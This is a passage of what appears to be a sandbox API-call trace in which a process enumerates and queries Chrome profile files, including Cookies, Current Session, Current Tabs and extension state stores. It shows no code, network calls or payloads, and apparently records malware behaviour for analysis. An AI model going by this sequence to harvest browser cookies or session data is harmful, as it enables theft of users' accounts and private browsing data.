	[0066.255] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c0e3de0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x402000, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_3", cAlternateFileName="")) returned 1
	[0066.255] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x805aa0c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x80170, dwReserved0=0x0, dwReserved1=0x0, cFileName="index", cAlternateFileName="")) returned 1
	[0066.255] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.255] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.255] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_0"), fInfoLevelId=0x0, lpFileInformation=0x127b24b8 | out: lpFileInformation=0x127b24b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c0e3de0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb000)) returned 1
	[0066.256] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_1"), fInfoLevelId=0x0, lpFileInformation=0x127b2508 | out: lpFileInformation=0x127b2508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c0e3de0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x42000)) returned 1
	[0066.256] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_2"), fInfoLevelId=0x0, lpFileInformation=0x127b2558 | out: lpFileInformation=0x127b2558*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x805aa0c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0066.256] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_3"), fInfoLevelId=0x0, lpFileInformation=0x127b25a8 | out: lpFileInformation=0x127b25a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c0e3de0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x402000)) returned 1
	[0066.257] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\index"), fInfoLevelId=0x0, lpFileInformation=0x127b25f8 | out: lpFileInformation=0x127b25f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x805aa0c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x80170)) returned 1
	[0066.257] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cookies"), fInfoLevelId=0x0, lpFileInformation=0x127b2648 | out: lpFileInformation=0x127b2648*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80d406e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80d406e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x98d1e730, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1c00)) returned 1
	[0066.258] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cookies-journal"), fInfoLevelId=0x0, lpFileInformation=0x127b2698 | out: lpFileInformation=0x127b2698*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80d66840, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80d66840, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x98d44890, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.258] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\current session"), fInfoLevelId=0x0, lpFileInformation=0x127b26e8 | out: lpFileInformation=0x127b26e8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83b08a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83b08a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c0b57b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1d6)) returned 1
	[0066.259] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\current tabs"), fInfoLevelId=0x0, lpFileInformation=0x127b2738 | out: lpFileInformation=0x127b2738*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9c3b6860, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c3b6860, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c3b8f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x126)) returned 1
	[0066.259] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules"), fInfoLevelId=0x0, lpFileInformation=0x127b2788 | out: lpFileInformation=0x127b2788*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82ad9940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82bed750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82bed750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.259] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.259] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\*", lpFindFileData=0x12415724 | out: lpFindFileData=0x12415724*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82ad9940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82bed750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82bed750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.262] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82ad9940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82bed750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82bed750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.262] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82bed750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82bed750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8dae37f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x156, dwReserved0=0x0, dwReserved1=0x0, cFileName="000003.log", cAlternateFileName="")) returned 1
	[0066.262] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82adc050, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82adc050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82adc050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENT", cAlternateFileName="")) returned 1
	[0066.262] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82ad9940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82ad9940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ad9940, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOCK", cAlternateFileName="")) returned 1
	[0066.262] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82ad9940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82ad9940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8dae37f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG", cAlternateFileName="")) returned 1
	[0066.262] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82ad9940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82ad9940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82adc050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANIFEST-000001", cAlternateFileName="MANIFE~1")) returned 1
	[0066.262] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.262] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.263] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\000003.log"), fInfoLevelId=0x0, lpFileInformation=0x127b2968 | out: lpFileInformation=0x127b2968*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82bed750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82bed750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8dae37f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x156)) returned 1
	[0066.264] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\current"), fInfoLevelId=0x0, lpFileInformation=0x127b29b8 | out: lpFileInformation=0x127b29b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82adc050, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82adc050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82adc050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1
	[0066.264] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOCK" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\lock"), fInfoLevelId=0x0, lpFileInformation=0x127b2a08 | out: lpFileInformation=0x127b2a08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82ad9940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82ad9940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ad9940, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.265] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\log"), fInfoLevelId=0x0, lpFileInformation=0x127b2a58 | out: lpFileInformation=0x127b2a58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82ad9940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82ad9940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8dae37f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x9a)) returned 1
	[0066.266] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\manifest-000001"), fInfoLevelId=0x0, lpFileInformation=0x127b2aa8 | out: lpFileInformation=0x127b2aa8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82ad9940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82ad9940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82adc050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x29)) returned 1
	[0066.266] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state"), fInfoLevelId=0x0, lpFileInformation=0x127b2af8 | out: lpFileInformation=0x127b2af8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82556720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82556720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.267] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.267] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\*", lpFindFileData=0x12415724 | out: lpFindFileData=0x12415724*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82556720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82556720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.268] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82556720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82556720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.268] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82556720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82556720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8c6f3fb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="000003.log", cAlternateFileName="")) returned 1
	[0066.268] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x824ad030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x824d3190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENT", cAlternateFileName="")) returned 1
	[0066.268] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x824ad030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x824ad030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOCK", cAlternateFileName="")) returned 1
	[0066.268] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x824ad030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8c6f3fb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG", cAlternateFileName="")) returned 1
	[0066.268] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x824ad030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x824ad030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANIFEST-000001", cAlternateFileName="MANIFE~1")) returned 1
	[0066.268] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.268] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.269] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\000003.log"), fInfoLevelId=0x0, lpFileInformation=0x127b2cd8 | out: lpFileInformation=0x127b2cd8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82556720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82556720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8c6f3fb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4ad)) returned 1
	[0066.270] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\current"), fInfoLevelId=0x0, lpFileInformation=0x127b2d28 | out: lpFileInformation=0x127b2d28*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x824ad030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x824d3190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1
	[0066.270] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOCK" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\lock"), fInfoLevelId=0x0, lpFileInformation=0x127b2d78 | out: lpFileInformation=0x127b2d78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x824ad030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x824ad030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.270] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\log"), fInfoLevelId=0x0, lpFileInformation=0x127b2dc8 | out: lpFileInformation=0x127b2dc8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x824ad030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8c6f3fb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x9a)) returned 1
